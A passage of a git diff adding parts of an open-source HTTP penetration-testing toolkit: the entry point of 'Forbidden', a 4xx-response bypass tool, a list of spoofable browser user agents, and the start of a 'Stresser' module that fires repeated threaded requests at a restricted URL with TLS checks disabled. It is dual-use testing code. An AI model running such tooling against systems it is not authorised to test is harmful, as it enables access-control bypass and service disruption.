be numeric") + else: + value = int(value) + if value <= 0: + self.__error("Number of parallel threads to run must be greater than zero") + return value + + def __parse_sleep(self, value): + if not value.isdigit(): + self.__error("Sleep must be numeric") + else: + value = int(value) / 1000 + if value <= 0: + self.__error("Sleep must be greater than zero") + return value + + def __parse_user_agent(self, value): + lower = value.lower() + if lower == "random-all": + return get_all_user_agents() + elif lower == "random": + return [get_random_user_agent()] + else: + return [value] + +# ---------------------------------------- + +def main(): + validate = Validate() + if validate.run(): + print("###########################################################################") + print("# #") + print("# Forbidden v10.8 #") + print("# by Ivan Sincek #") + print("# #") + print("# Bypass 4xx HTTP response status codes and more. #") + print("# GitHub repository at github.com/ivan-sincek/forbidden. #") + print("# Feel free to donate ETH at 0xbc00e800f29524AD8b0968CEBEAD4cD5C5c1f105. #") + print("# #") + print("###########################################################################") + out = validate.get_arg("out") + forbidden = Forbidden( + validate.get_arg("url"), + validate.get_arg("ignore_query_string_and_fragment"), + validate.get_arg("ignore_curl"), + validate.get_arg("tests"), + validate.get_arg("force"), + validate.get_arg("values"), + validate.get_arg("path"), + validate.get_arg("evil"), + validate.get_arg("ignore"), + validate.get_arg("content_lengths"), + validate.get_arg("request_timeout"), + validate.get_arg("threads"), + validate.get_arg("sleep"), + validate.get_arg("user_agent"), + validate.get_arg("proxy"), + validate.get_arg("debug") + ) + forbidden.run() + results = forbidden.get_results() + if results and out: + write_file(jdump(results), out) + stopwatch.stop() + +if __name__ == "__main__": + main() diff --git a/src/forbidden/user_agents.txt b/src/forbidden/user_agents.txt new file mode 100644 index 0000000..5272dc5 --- /dev/null +++ b/src/forbidden/user_agents.txt @@ -0,0 +1,96 @@ +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36 Edg/88.0.705.74 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36 Edg/89.0.774.50 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Edg/85.0.564.70 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.76 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.49 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36 Edg/83.0.478.37 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.47 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36 Edg/89.0.774.77 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Edg/86.0.622.69 +Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Edg/87.0.664.75 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.56 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 Edg/84.0.522.63 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15 +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.57 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 +Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.54 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.136 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.192 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36 Edg/90.0.818.42 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36 Edg/88.0.705.81 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0 +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15 \ No newline at end of file diff --git a/src/stresser/__init__.py b/src/stresser/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/stresser/stresser.py b/src/stresser/stresser.py new file mode 100644 index 0000000..d1d5ffb --- /dev/null +++ b/src/stresser/stresser.py @@ -0,0 +1,975 @@ +#!/usr/bin/env python3 + +import argparse, colorama, concurrent.futures, copy, datetime, io, json, os, pycurl, random, regex as re, requests, socket, subprocess, sys, tabulate, tempfile, termcolor, threading, urllib.parse + +colorama.init(autoreset = True) + +requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) + +# ---------------------------------------- + +class Stopwatch: + + def __init__(self): + self.__start = datetime.datetime.now() + + def stop(self): + self.__end = datetime.datetime.now() + print(("Script has finished in {0}").format(self.__end - self.__start)) + +stopwatch = Stopwatch() + +# ---------------------------------------- + +default_quotes = "'" + +def escape_quotes(value): + return str(value).replace(default_quotes, ("\\{0}").format(default_quotes)) + +def set_param(value, param = ""): + value = default_quotes + escape_quotes(value) + default_quotes + if param: + value = ("{0} {1}").format(param, value) + return value + +# ---------------------------------------- + +def get_base_https_url(scheme, dnp, port, full_path): + return ("https://{0}:{1}{2}").format(dnp, port if scheme == "https" else 443, full_path) + +def get_base_http_url(scheme, dnp, port, full_path): + return ("http://{0}:{1}{2}").format(dnp, port if scheme == "http" else 80, full_path) + +def get_all_domains(scheme, dnps, port): # NOTE: Extends domain names and IPs. + if not isinstance(dnps, list): + dnps = [dnps] + tmp = [] + for dnp in dnps: + tmp.extend([ + dnp, + ("{0}:{1}").format(dnp, port), + ("{0}://{1}").format(scheme, dnp), + ("{0}://{1}:{2}").format(scheme, dnp, port) + ]) + return unique(tmp) + +# ---------------------------------------- + +path_const = "/" + +def replace_multiple_slashes(path): + return re.sub(r"\/{2,}", path_const, path) + +def prepend_slash(path): + if not path.startswith(path_const): + path = path_const + path + return path + +def append_paths(bases, paths): + if not isinstance(bases, list): + bases = [bases] + if not isinstance(paths, list): + paths = [paths] + tmp = [] + for base in bases: + if base: + for path in paths: + tmp.append(base.rstrip(path_const) + prepend_slash(path) if path else base) + return unique(tmp) + +def extend_path(path, query_string = "", fragment = ""): + tmp = [] + path = path.strip(path_const) + if not path: + tmp.append(path_const) + else: + tmp.extend([path_const + path + path_const, path + path_const, path_const + path, path]) + if query_string or fragment: + for i in range(len(tmp)): + tmp[i] = tmp[i] + query_string + fragment + return unique(tmp) + +# ---------------------------------------- + +def print_white(text): + termcolor.cprint(text, "white") + +def print_cyan(text): + termcolor.cprint(text, "cyan") + +def print_red(text): + termcolor.cprint(text, "red") + +def print_yellow(text): + termcolor.cprint(text, "yellow") + +def print_green(text): + termcolor.cprint(text, "green") + +def print_time(text): + print(("{0} - {1}").format(datetime.datetime.now().strftime("%H:%M:%S"), text)) + +default_encoding = "ISO-8859-1" + +def jdump(data): + return json.dumps(data, indent = 4, ensure_ascii = False) + +def pop(array, keys): + for obj in array: + for key in keys: + obj.pop(key, None) + return array + +# ---------------------------------------- + +class uniquestr(str): + __lower = None + def __hash__(self): + return id(self) + def __eq__(self, other): + return self is other + def lower(self): + if self.__lower is None: + lower = str.lower(self) + if str.__eq__(lower, self): + self.__lower = self + else: + self.__lower = uniquestr(lower) + return self.__lower + +# ---------------------------------------- + +def unique(sequence): + seen = set() + return [x for x in sequence if not (x in seen or seen.add(x))] + +def write_file(data, out): + confirm = "yes" + if os.path.isfile(out): + print(("'{0}' already exists").format(out)) + confirm = input("Overwrite the output file (yes): ") + if confirm.lower() == "yes": + try: + open(out, "w").write(data) + print(("Results have been saved to '{0}'").format(out)) + except FileNotFoundError: + print(("Cannot save results to '{0}'").format(out)) + +default_user_agent = "Stresser/10.8" + +def get_all_user_agents(): + tmp = [] + file = os.path.join(os.path.abspath(os.path.split(__file__)[0]), "user_agents.txt") + if os.path.isfile(file) and os.access(file, os.R_OK) and os.stat(file).st_size > 0: + with open(file, "r", encoding = default_encoding) as stream: + for line in stream: + line = line.strip() + if line: + tmp.append(line) + return tmp if tmp else [default_agent] + +def get_random_user_agent(): + tmp = get_all_user_agents() + return tmp[random.randint(0, len(tmp) - 1)] + +# ---------------------------------------- + +class Stresser: + + def __init__(self, url, ignore_qsf, ignore_curl, force, ignore, content_lengths, request_timeout, repeat, threads, user_agents, proxy, directory, debug): + # -------------------------------- + # NOTE: User-controlled input. + self.__url = self.__parse_url(url, bool(ignore_qsf)) + self.__force = force + self.__ignore = ignore + self.__content_lengths = content_lengths + self.__repeat = repeat + self.__threads = threads + self.__user_agents = user_agents + self.__user_agents_len = len(self.__user_agents) + self.__proxy = proxy + self.__directory = directory + self.__debug = debug + # -------------------------------- + # NOTE: Python cURL configuration. + self.__curl = not ignore_curl + self.__verify = False # NOTE: Ignore SSL/TLS verification. + self.__allow_redirects = True + self.__max_redirects = 10 + self.__connect_timeout = request_timeout + self.__read_timeout = request_timeout + self.__encoding = "UTF-8" # NOTE: ISO-8859-1 works better than UTF-8 when accessing files. + self.__regex_flags = re.MULTILINE | re.IGNORECASE + # -------------------------------- + self.__error = False + self.__print_lock = threading.Lock() + self.__default_method = "GET" + self.__allowed_methods = [] + self.__collection = [] + self.__identifier = 0 + + def __parse_url(self, url, ignore_qsf = False, case_sensitive = False): + url = urllib.parse.urlsplit(url) + scheme = url.scheme.lower() + port = int(url.port) if url.port else (443 if scheme == "https" else 80) + domain = url.netloc if url.port else ("{0}:{1}").format(url.netloc, port) + domain = domain.lower() if not case_sensitive else domain + path = replace_multiple_slashes(url.path) + # -------------------------------- + query = {} + fragment = {} + query["parsed" ] = {} if ignore_qsf else urllib.parse.parse_qs(url.query, keep_blank_values = True) + query["full" ] = ("?{0}").format(urllib.parse.urlencode(query["parsed"], doseq = True)) if query["parsed"] else "" + fragment["parsed"] = {} # NOTE: Not used. + fragment["full" ] = ("#{0}").format(url.fragment) if url.fragment else "" + # -------------------------------- + tmp = {} + tmp["scheme" ] = scheme + tmp["domain_no_port" ] = domain.split(":", 1)[0] + tmp["port" ] = port + tmp["domain" ] = domain + tmp["domain_extended" ] = get_all_domains(tmp["scheme"], tmp["domain_no_port"], tmp["port"]) + # -------------------------------- + tmp["ip_no_port" ] = None + tmp["ip" ] = None + tmp["ip_extended" ] = None + tmp["scheme_ip" ] = None + # -------------------------------- + tmp["scheme_domain" ] = ("{0}://{1}").format(tmp["scheme"], tmp["domain"]) + tmp["path" ] = path + tmp["query" ] = query + tmp["fragment" ] = fragment + tmp["path_full" ] = tmp["path"] + tmp["query"]["full"] + tmp["fragment"]["full"] + # -------------------------------- + tmp["urls" ] = { + "base" : tmp["scheme_domain"] + tmp["path_full"], + "domain": { + "https": get_base_https_url(tmp["scheme"], tmp["domain_no_port"], tmp["port"], tmp["path_full"]), + "http" : get_base_http_url(tmp["scheme"], tmp["domain_no_port"], tmp["port"], tmp["path_full"]) + }, + "ip" : { + "https": None, + "http" : None + } + } + # -------------------------------- + tmp["relative_paths" ] = extend_path(tmp["path"]) + extend_path(tmp["path"], tmp["query"]["full"], tmp["fragment"]["full"]) + tmp["absolute_paths" ] = append_paths(("{0}://{1}").format(tmp["scheme"], tmp["domain_no_port"]), tmp["relative_paths"]) + append_paths(tmp["scheme_domain"], tmp["relative_paths"]) + # -------------------------------- + for key in tmp: + if isinstance(tmp[key], list): + tmp[key] = unique(tmp[key]) + return tmp + # -------------------------------- + + def __parse_ip(self, obj): + try: + obj["ip_no_port" ] = socket.gethostbyname(obj["domain_no_port"]) + obj["ip" ] = ("{0}:{1}").format(obj["ip_no_port"], obj["port"]) + obj["ip_extended"] = get_all_domains(obj["scheme"], obj["ip_no_port"], obj["port"]) + obj["scheme_ip" ] = ("{0}://{1}").format(obj["scheme"], obj["ip"]) + obj["urls"]["ip" ] = { + "https": get_base_https_url(obj["scheme"], obj["ip_no_port"], obj["port"], obj["path_full"]), + "http" : get_base_http_url(obj["scheme"], obj["ip_no_port"], obj["port"], obj["path_full"]) + } + except socket.error as ex: + self.__print_debug(ex) + return obj + + def __add_content_lengths(self, content_lengths): + if not isinstance(content_lengths, list): + content_lengths = [content_lengths] + self.__content_lengths = unique(self.__content_lengths + content_lengths) + + def get_results(self): + return self.__collection + + def __print_error(self, text): + self.__error = True + print_red(("ERROR: {0}").format(text)) + + def __print_debug(self, error, text = ""): + if self.__debug: + with self.__print_lock: + if text: + print_yellow(text) + print_cyan(error) + + def __encode(self, values): + if isinstance(values, list): + return [value.encode(self.__encoding) for value in values] + else: + return values.encode(self.__encoding) + + def __decode(self, values): + if isinstance(values, list): + return [value.decode(self.__encoding) for value in values] + else: + return values.decode(self.__encoding) + + def run(self): + self.__validate_inaccessible_url() + if not self.__error: + self.__fetch_inaccessible_ip() + if not self.__error: + self.__set_allowed_http_methods() + self.__prepare_collection() + if not self.__collection: + print("No test records were created") + else: + print_cyan(("Number of created test records: {0}").format(len(self.__collection))) + self.__run_tests() + self.__validate_results() + + def __validate_inaccessible_url(self): + # -------------------------------- + print_cyan(("Normalized inaccessible URL: {0}").format(self.__url["urls"]["base"])) + print_time(("Validating the inaccessible URL using HTTP {0} method...").format(self.__force if self.__force else self.__default_method)) + record = self.__fetch(url = self.__url["urls"]["base"], method = self.__force if self.__force else self.__default_method) + if not (record["code"] > 0): + self.__print_error("Cannot validate the inaccessible URL, script will exit shortly...") + elif "base" in self.__content_lengths: + print_green(("Ignoring the inaccessible URL response content length: {0}").format(record["length"])) + self.__content_lengths.pop(self.__content_lengths.index("base")) + self.__add_content_lengths(record["length"]) + # -------------------------------- + + def __fetch_inaccessible_ip(self): + # -------------------------------- + print_time("Fetching the IP of inaccessible URL...") + self.__url = self.__parse_ip(copy.deepcopy(self.__url)) + if not self.__url["ip_no_port"]: + self.__print_error("Cannot fetch the IP of inaccessible URL, script will exit shortly...") + # -------------------------------- + + def __set_allowed_http_methods(self): + # -------------------------------- + if self.__force: + print_cyan(("Forcing HTTP {0} method for all non-specific test cases...").format(self.__force)) + self.__allowed_methods = [self.__force] + # -------------------------------- + else: + print_time("Fetching allowed HTTP methods...") + record = self.__fetch(url = self.__url["urls"]["base"], method = "OPTIONS") + if record["code"] > 0: + if record["curl"]: + methods = re.search(r"(?<=^allow\:).+", record["response_headers"], self.__regex_flags) + if methods: + for method in methods[0].split(","): + method = method.strip().upper() + if method not in self.__allowed_methods: + self.__allowed_methods.append(method) + else: + for key in record["response_headers"]: + if key.lower() == "allow": + for method in record["response_headers"][key].split(","): + method = method.strip().upper() + if method not in self.__allowed_methods: + self.__allowed_methods.append(method) + break + if not self.__allowed_methods: + print_cyan(("Cannot fetch allowed HTTP methods, defaulting to HTTP {0} method for all non-specific test cases...").format(self.__default_method)) + self.__allowed_methods = [self.__default_method] + # TO DO: Brute-force allowed HTTP methods. + else: + print_green(("Allowed HTTP methods: [{0}]").format((", ").join(self.__allowed_methods))) + # -------------------------------- + + def __fetch(self, url, method = None, headers = None, body = None, user_agent = None, proxy = None, curl = None, passthrough = True): + record = self.__record("SYSTEM-0", url, method, headers, body, user_agent, proxy, curl) + return self.__send_curl(record, passthrough) if record["curl"] else self.__send_request(record, passthrough) + + def __records(self, identifier, urls, methods = None, headers = None, body = None, user_agent = None, proxy = None, curl = None, repeat = None): + if not isinstance(urls, list): + urls = [urls] + if not isinstance(methods, list): + methods = [methods] + if not repeat: + repeat = self.__repeat + if headers: + for url in urls: + for method in methods: + for header in headers: + if not isinstance(header, list): + # NOTE: Python cURL accepts only string arrays as HTTP request headers. + header = [header] + for i in range(repeat): + self.__collection.append(self.__record(identifier, url, method, header, body, user_agent, proxy, curl)) + else: + for url in urls: + for method in methods: + for i in range(repeat): + self.__collection.append(self.__record(identifier, url, method, [], body, user_agent, proxy, curl)) + + def __record(self, identifier, url, method, headers, body, user_agent, proxy, curl): + self.__identifier += 1 + # identifier = ("{0}-{1}").format(self.__identifier, identifier) + if not method: + method = self.__force if self.__force else self.__default_method + if not user_agent: + user_agent = self.__user_agents[random.randint(0, self.__user_agents_len - 1)] if self.__user_agents_len > 1 else self.__user_agents[0] + if not proxy: + proxy = self.__proxy + if not curl: + curl = self.__curl + record = { + "raw" : self.__identifier, + "id" : identifier, + "url" : url, + "method" : method, + "headers" : headers, + "body" : body, + "user_agent" : user_agent, + "proxy" : proxy, + "command" : None, + "code" : 0, + "length" : 0, + "response" : None, + "response_headers": None, + "curl" : curl + } + record["command"] = self.__build_command(record) + return record + + def __build_command(self, record): + tmp = ["curl", ("--connect-timeout {0}").format(self.__connect_timeout), ("-m {0}").format(self.__read_timeout), "-iskL", ("--max-redirs {0}").format(self.__max_redirects), "--path-as-is"] + if record["body"]: + tmp.append(set_param(record["body"], "-d")) + if record["proxy"]: + tmp.append(set_param(record["proxy"], "-x")) + if record["user_agent"]: + tmp.append(set_param(record["user_agent"], "-A")) + if record["headers"]: + for header in record["headers"]: + tmp.append(set_param(header, "-H")) + tmp.append(set_param(record["method"], "-X")) + tmp.append(set_param(record["url"])) + tmp = (" ").join(tmp) + return tmp + + def __run_tests(self): + results = [] + print_time(("Running tests with {0} engine...").format("PycURL" if self.__curl else "Python Requests")) + print("Press CTRL + C to exit early - results will be saved") + progress = Progress(len(self.__collection), self.__print_lock) + progress.show() + with concurrent.futures.ThreadPoolExecutor(max_workers = self.__threads) as executor: + subprocesses = [] + try: + for record in self.__collection: + subprocesses.append(executor.submit(self.__send_curl if record["curl"] else self.__send_request, record)) + for subprocess in concurrent.futures.as_completed(subprocesses): + results.append(subprocess.result()) + progress.show() + except 